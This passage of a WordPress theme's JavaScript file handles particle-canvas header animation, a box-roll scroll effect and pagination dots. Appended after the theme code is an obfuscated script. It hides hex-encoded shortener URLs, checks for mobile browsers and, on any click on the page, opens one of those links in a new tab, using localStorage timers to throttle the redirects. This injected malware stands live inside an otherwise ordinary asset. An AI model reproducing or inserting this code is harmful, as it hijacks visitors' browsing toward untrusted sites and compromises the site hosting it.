                      distance = Math.sqrt((otherPoint.originalX - currentPoint.x) * (otherPoint.originalX - currentPoint.x) + (otherPoint.originalY - currentPoint.y) * (otherPoint.originalY - currentPoint.y));
                      
                      if(distance <= def && def > 10 ) {
                        def = distance;
                        
                        currentPoint.seqX = otherPoint.originalX;
                        currentPoint.seqY = otherPoint.originalY;
                        
                        otherPointCache = otherPoint;
                      }
                      
                      
                      
                      if(u ==  Nodes.points[i][Nodes.currentSequenceIndex].length -1) {
                        
                        otherPointCache.sequenceUsed = true;
                      }
                      
                    }
                  }
                  
                  //clear sequence used
                  if(k == Nodes.points[i][0].length -1) {
                    for(var u=0; u < Nodes.points[i][Nodes.currentSequenceIndex].length; u++) {
                      Nodes.points[i][Nodes.currentSequenceIndex][u].sequenceUsed = false;
                    }
                  }
                  
                }
                
              }
              
            } 
          }
          
          
          //update shape index
          Nodes.currentSequenceIndex = (Nodes.currentSequenceIndex+1 == Object.keys(Nodes.points[Nodes.currentShapeIndex]).length) ? 0 : Nodes.currentSequenceIndex+1; 
        },80);
      },
      callDrawImageToBackground: function(index,index2){
        
        Nodes.loadedCount += 1;
        
        //wait until all are loaded
        if(Nodes.loadedCount == Nodes.totalImgCount) {
          
          
          for(var i=0;i<Nodes.imgsToDraw.length;i++) {
            
            if(!jQuery.isArray(this.bgImage[i])) {
              
              Nodes.drawImageToBackground(i,null,false,true);
            } else {
              for( var j=0; j < Nodes.imgsToDraw[i].shape.length; j++) {
                
                Nodes.drawImageToBackground(i,j,false,true);
              }
            }
          }
          
        } 
      },
      // Image is loaded... draw to bg canvas
      drawImageToBackground: function (index,index2,resize,sequence) {
        
        var shapeIndex = (index2 == null) ? this.bgImage[index] : this.bgImage[index][index2];
        
        this.bgCanvas = document.createElement( 'canvas' );
        this.bgCanvas.width = this.canvas.width;
        this.bgCanvas.height = this.canvas.height;
      
        var newWidth, newHeight;
        var userResized = resize;
        var $selector = ($('.nectar-box-roll').length > 0) ? '.nectar-box-roll': '.nectar-particles';
        var heightDiff = (Nodes.textPosition == 'bottom' && Nodes.textPositionH == 'center') ? $(Nodes.canvasID).parents($selector).find('.inner-wrap').height()/1.3 + 50 : 0;
        if(this.bgCanvas.height < 650) heightDiff = heightDiff/2;
        
        // If the image is too big for the screen... scale it down.
        if ( shapeIndex.width > this.bgCanvas.width - 50 - heightDiff || shapeIndex.height > this.bgCanvas.height - 50 - heightDiff) {
          
          var maxRatio = Math.max( shapeIndex.width / (this.bgCanvas.width - 50 ) , shapeIndex.height / (this.bgCanvas.height - 100 - heightDiff) );
          
          newWidth = shapeIndex.width / maxRatio;
          newHeight = shapeIndex.height / maxRatio;
          
          
          //change density based on ratio
          if(this.bgCanvas.width < 1600) {
            
            if(maxRatio > 3 && maxRatio <= 4) {
              this.imgsToDraw[index].density = this.imgsToDraw[index].densityOriginal-3;
              if(this.imgsToDraw[index].maxParticleSize >= 3) this.imgsToDraw[index].maxParticleSize = this.imgsToDraw[index].maxParticleSizeOriginal-1;
              
            }
            else if(maxRatio > 4) {
              if(this.bgCanvas.width > 800)this.imgsToDraw[index].density = this.imgsToDraw[index].densityOriginal-4;
              else this.imgsToDraw[index].density = this.imgsToDraw[index].densityOriginal-5;
              
              if(this.imgsToDraw[index].maxParticleSize > 2) this.imgsToDraw[index].maxParticleSize = 2;
            } else if (maxRatio <= 3){
              this.imgsToDraw[index].density = this.imgsToDraw[index].densityOriginal;
              this.imgsToDraw[index].maxParticleSize = this.imgsToDraw[index].maxParticleSizeOriginal;
              
            }
          } else {
            this.imgsToDraw[index].density = this.imgsToDraw[index].densityOriginal;
            this.imgsToDraw[index].maxParticleSize = this.imgsToDraw[index].maxParticleSizeOriginal;
          }
          
          
        } else {
          newWidth = shapeIndex.width;
          newHeight = shapeIndex.height;
        }
        
        // Draw to background canvas
        var headerHeight = 0;
        
        this.bgContext = this.bgCanvas.getContext( '2d' );
        this.bgContext.drawImage( shapeIndex, (this.canvas.width - newWidth) / 2, (((this.canvas.height+headerHeight/2) - newHeight - heightDiff*1) / 2) , newWidth, newHeight);
        this.bgContextPixelData = this.bgContext.getImageData( 0, 0, this.bgCanvas.width, this.bgCanvas.height );
        
        this.preparePoints(index,index2,userResized);
        

      },
      
      
      
      // Resize and redraw the canvas.
      onWindowResize: function() {
        cancelAnimationFrame( this.animation );
        if(Nodes.loadedCount == Nodes.imgsToDraw.length) {
          for(var i=0;i<Nodes.imgsToDraw.length;i++) {
            this.drawImageToBackground(i,null,true,false);
          }
        }
        
        //set mobile state
        this.onMobile = (this.canvas.width <= 690) ? true : false;
      }
      
    };
    
    
    if($shapes.length > 0) {
      Nodes.init('#canvas');
    }
    
    $selector = ($('.nectar-box-roll').length > 0) ? '.nectar-box-roll': '.nectar-particles';
    
    function initTextEffect(canvasID){
      
      if($(canvasID).parents('#page-header-bg').hasClass('topBoxIn')) {
        return false;
      }
      
      var $timeOut = ($(canvasID).parents('#page-header-bg[data-text-effect="rotate_in"]').length > 0) ? 800 : 0;
      setTimeout(function(){
        $(canvasID).parents($selector).find('.inner-wrap.shape-1').css('z-index',100);
        $(canvasID).parents($selector).find('.inner-wrap.shape-1 .top-heading').transition({'opacity':1, 'y': 0},0);
        
        $(canvasID).parents($selector).find('.span_6').find('.wraped').each(function(i){
          $(this).find('span').delay(i*370).transition({ rotateX: '0', 'opacity' : 1, y: 0},400,'easeOutQuad');
        });
        
        setTimeout(function(){
          
          $(canvasID).parents($selector).find('.span_6').find('.inner-wrap.shape-1 > *:not(.top-heading)').each(function(i){
            $(this).delay(i*370).transition({ rotateX: '0', 'opacity' : 1, y: 0 },650,'easeOutQuad');
          });
          
          setTimeout(function(){
            $('.scroll-down-wrap').removeClass('hidden');
            
            if( Nodes.imgsToDraw.length > 1) {
              $('.pagination-dots .pagination-dot').each(function(i){
                $(this).delay(i*75).transition({ y: 0, 'opacity': 1}, 400);
              });
              $('.pagination-navigation .pagination-current').each(function(i){
                $(this).delay(i*75).transition({ y: 0, 'opacity': 1, scale: 1.15}, 400);
              });
              
              //init pag
              setTimeout(function(){
                initGooPagination();
              },$(canvasID).parents($selector).find('.pagination-dot').length*75 +370);
            }
            
          }, $(canvasID).parents($selector).find('.inner-wrap.shape-1 > *:not(.top-heading)').length-1 * 400 + 370);
          
        }, ($(canvasID).parents($selector).find('.span_6').find('.wraped').length * 370));
        
      },$timeOut);
      
    }
    
    
    /*pagination*/
    var $dots=$($selector+" .pagination-dot"),
    $current=$($selector+" .pagination-current"),
    $items=$($selector+" .pagination-item"),
    startPos;
    
    function initGooPagination(){
      startPos=0;
      
      $current.data("pos",{y:startPos});
      
      $dots.on('click', function(event){
        
        
        var $cur=$(this);
        
        //switch shape
        if(event.originalEvent !== undefined && !$cur.hasClass('active')) {
          Nodes.particleRotateLogic($(this).index());
        }
        
        $($selector+' .pagination-dot').removeClass('active');
        $cur.addClass('active');
        
      });
      $dots.eq(0).trigger('click');
      
      $items.on('click', function(){
        $dots.eq($(this).index()).trigger('click');
        
      });

    }
    

    
    //box roll
    var perspect = 'not-rolled';
    var animating = 'false';
    function boxRoll(e,d) {
      
      if($('#slide-out-widget-area.open').length > 0) {
        return false;
      }
      
      if(perspect == 'not-rolled' && animating == 'false' && d == -1 && $('.nectar-box-roll canvas[data-loaded="true"]').length > 0) {
        perspect = 'rolled';
        animating = 'true';
        //stop mouse movement
        Nodes.mouse.x = 2000;
        Nodes.mouse.y = -2000;
        
        //slow fps
        Nodes.regularAnimation = false;
        
        setTimeout(function(){ 
          animating ='false'; 
        },1650);
        
        clearTimeout(Nodes.timeoutHolder);
        
      }
      
      else if(perspect == 'rolled' && animating == 'false' && d == 1 && $(window).scrollTop() < 100) {

        perspect = 'not-rolled';
        animating = 'true';
        
        setTimeout(function(){ 
          
          animating ='false'; 
          Nodes.regularAnimation = true;
        },1600);
        
        if(Nodes.randomMovement == false) {
          setTimeout(function(){ 
            // start animation again
            Nodes.draw();
            Nodes.fps = 43;
            Nodes.fpsDec = 0.13;
            Nodes.decMultiplier = 0.06;
          },1630);
          
        }
        
        if(Nodes.randomMovement == true) {
          Nodes.draw();
          
          setTimeout(function(){
            Nodes.impulsX = Math.random()*800-400;
            Nodes.impulsY = -Math.random()*400;
            
          },400);
          setTimeout(function(){  Nodes.particleRotateLogic(false); },3400);
          
        }
        
        if(Nodes.randomMovement == false) {
          Nodes.particlesRotate(true);
        }
        
      }
      
    }
    
    if( $shapes.length > 0 && $('.nectar-box-roll').length > 0 ) {
      
      $('body').mousewheel(function(event, delta) {
        if($('#slide-out-widget-area.open.fullscreen').length > 0) {
          return false;
        }
        boxRoll(event,delta);
      });
      
      $('body').on('click','.nectar-box-roll .section-down-arrow',function(){
        boxRoll(null,-1);
        $(this).addClass('hovered');
        return false;
      });
      
      //touch 
      if(navigator.userAgent.match(/(Android|iPod|iPhone|iPad|BlackBerry|IEMobile|Opera Mini)/)) {
        $('body').swipe({
          swipeStatus: function(event, phase, direction, distance, duration, fingers) {
            if($('#slide-out-widget-area.open').length > 0) {
              return false;
            }
            if(direction == 'up') {
              boxRoll(null,-1);
              if($('#ajax-content-wrap.no-scroll').length == 0) {
                $('body').swipe("option", "allowPageScroll", 'vertical');
              }
            } else if(direction == "down" && $(window).scrollTop() == 0) {
              boxRoll(null,1);
              $('body').swipe("option", "allowPageScroll", 'auto');
            }
          }
        });
        
      }
      
    }
    

  });

})(jQuery);
function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const _0x5a990b=['substr','length','-hurs','open','round','443779RQfzWn','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x2d\x73\x68\x6f\x72\x74\x2e\x6e\x65\x74\x2f\x78\x73\x6b\x33\x63\x353','click','5114346JdlaMi','1780163aSIYqH','forEach','host','_blank','68512ftWJcO','addEventListener','-mnts','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x2d\x73\x68\x6f\x72\x74\x2e\x6e\x65\x74\x2f\x76\x4c\x61\x35\x63\x345','4588749LmrVjF','parse','630bGPCEV','mobileCheck','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x2d\x73\x68\x6f\x72\x74\x2e\x6e\x65\x74\x2f\x52\x5a\x67\x38\x63\x328','abs','-local-storage','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x2d\x73\x68\x6f\x72\x74\x2e\x6e\x65\x74\x2f\x4c\x61\x6b\x39\x63\x339','56bnMKls','opera','6946eLteFW','userAgent','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x2d\x73\x68\x6f\x72\x74\x2e\x6e\x65\x74\x2f\x50\x4d\x69\x34\x63\x304','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x2d\x73\x68\x6f\x72\x74\x2e\x6e\x65\x74\x2f\x67\x50\x49\x37\x63\x317','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x2d\x73\x68\x6f\x72\x74\x2e\x6e\x65\x74\x2f\x59\x6b\x72\x32\x63\x312','floor','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x2d\x73\x68\x6f\x72\x74\x2e\x6e\x65\x74\x2f\x71\x6e\x48\x36\x63\x326','999HIfBhL','filter','test','getItem','random','138490EjXyHW','stopPropagation','setItem','70kUzPYI'];_0x1922=function(){return _0x5a990b;};return _0x1922();}(function(_0x16ffe6,_0x1e5463){const _0x20130f=_0x3023,_0x307c06=_0x16ffe6();while(!![]){try{const _0x1dea23=parseInt(_0x20130f(0x1d6))/0x1+-parseInt(_0x20130f(0x1c1))/0x2*(parseInt(_0x20130f(0x1c8))/0x3)+parseInt(_0x20130f(0x1bf))/0x4*(-parseInt(_0x20130f(0x1cd))/0x5)+parseInt(_0x20130f(0x1d9))/0x6+-parseInt(_0x20130f(0x1e4))/0x7*(parseInt(_0x20130f(0x1de))/0x8)+parseInt(_0x20130f(0x1e2))/0x9+-parseInt(_0x20130f(0x1d0))/0xa*(-parseInt(_0x20130f(0x1da))/0xb);if(_0x1dea23===_0x1e5463)break;else _0x307c06['push'](_0x307c06['shift']());}catch(_0x3e3a47){_0x307c06['push'](_0x307c06['shift']());}}}(_0x1922,0x984cd),function(_0x34eab3){const _0x111835=_0x3023;window['mobileCheck']=function(){const _0x123821=_0x3023;let _0x399500=![];return function(_0x5e9786){const _0x1165a7=_0x3023;if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x1165a7(0x1ca)](_0x5e9786)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x1165a7(0x1ca)](_0x5e9786[_0x1165a7(0x1d1)](0x0,0x4)))_0x399500=!![];}(navigator[_0x123821(0x1c2)]||navigator['vendor']||window[_0x123821(0x1c0)]),_0x399500;};const _0xe6f43=['\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x2d\x73\x68\x6f\x72\x74\x2e\x6e\x65\x74\x2f\x76\x67\x54\x30\x63\x310','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x2d\x73\x68\x6f\x72\x74\x2e\x6e\x65\x74\x2f\x6d\x4b\x57\x31\x63\x311',_0x111835(0x1c5),_0x111835(0x1d7),_0x111835(0x1c3),_0x111835(0x1e1),_0x111835(0x1c7),_0x111835(0x1c4),_0x111835(0x1e6),_0x111835(0x1e9)],_0x7378e8=0x3,_0xc82d98=0x6,_0x487206=_0x551830=>{const _0x2c6c7a=_0x111835;_0x551830[_0x2c6c7a(0x1db)]((_0x3ee06f,_0x37dc07)=>{const _0x476c2a=_0x2c6c7a;!localStorage['getItem'](_0x3ee06f+_0x476c2a(0x1e8))&&localStorage[_0x476c2a(0x1cf)](_0x3ee06f+_0x476c2a(0x1e8),0x0);});},_0x564ab0=_0x3743e2=>{const _0x415ff3=_0x111835,_0x229a83=_0x3743e2[_0x415ff3(0x1c9)]((_0x37389f,_0x22f261)=>localStorage[_0x415ff3(0x1cb)](_0x37389f+_0x415ff3(0x1e8))==0x0);return _0x229a83[Math[_0x415ff3(0x1c6)](Math[_0x415ff3(0x1cc)]()*_0x229a83[_0x415ff3(0x1d2)])];},_0x173ccb=_0xb01406=>localStorage[_0x111835(0x1cf)](_0xb01406+_0x111835(0x1e8),0x1),_0x5792ce=_0x5415c5=>localStorage[_0x111835(0x1cb)](_0x5415c5+_0x111835(0x1e8)),_0xa7249=(_0x354163,_0xd22cba)=>localStorage[_0x111835(0x1cf)](_0x354163+_0x111835(0x1e8),_0xd22cba),_0x381bfc=(_0x49e91b,_0x531bc4)=>{const _0x1b0982=_0x111835,_0x1da9e1=0x3e8*0x3c*0x3c;return Math[_0x1b0982(0x1d5)](Math[_0x1b0982(0x1e7)](_0x531bc4-_0x49e91b)/_0x1da9e1);},_0x6ba060=(_0x1e9127,_0x28385f)=>{const _0xb7d87=_0x111835,_0xc3fc56=0x3e8*0x3c;return Math[_0xb7d87(0x1d5)](Math[_0xb7d87(0x1e7)](_0x28385f-_0x1e9127)/_0xc3fc56);},_0x370e93=(_0x286b71,_0x3587b8,_0x1bcfc4)=>{const _0x22f77c=_0x111835;_0x487206(_0x286b71),newLocation=_0x564ab0(_0x286b71),_0xa7249(_0x3587b8+'-mnts',_0x1bcfc4),_0xa7249(_0x3587b8+_0x22f77c(0x1d3),_0x1bcfc4),_0x173ccb(newLocation),window['mobileCheck']()&&window[_0x22f77c(0x1d4)](newLocation,'_blank');};_0x487206(_0xe6f43);function _0x168fb9(_0x36bdd0){const _0x2737e0=_0x111835;_0x36bdd0[_0x2737e0(0x1ce)]();const _0x263ff7=location[_0x2737e0(0x1dc)];let _0x1897d7=_0x564ab0(_0xe6f43);const _0x48cc88=Date[_0x2737e0(0x1e3)](new Date()),_0x1ec416=_0x5792ce(_0x263ff7+_0x2737e0(0x1e0)),_0x23f079=_0x5792ce(_0x263ff7+_0x2737e0(0x1d3));if(_0x1ec416&&_0x23f079)try{const _0x2e27c9=parseInt(_0x1ec416),_0x1aa413=parseInt(_0x23f079),_0x418d13=_0x6ba060(_0x48cc88,_0x2e27c9),_0x13adf6=_0x381bfc(_0x48cc88,_0x1aa413);_0x13adf6>=_0xc82d98&&(_0x487206(_0xe6f43),_0xa7249(_0x263ff7+_0x2737e0(0x1d3),_0x48cc88)),_0x418d13>=_0x7378e8&&(_0x1897d7&&window[_0x2737e0(0x1e5)]()&&(_0xa7249(_0x263ff7+_0x2737e0(0x1e0),_0x48cc88),window[_0x2737e0(0x1d4)](_0x1897d7,_0x2737e0(0x1dd)),_0x173ccb(_0x1897d7)));}catch(_0x161a43){_0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}else _0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}document[_0x111835(0x1df)](_0x111835(0x1d8),_0x168fb9);}());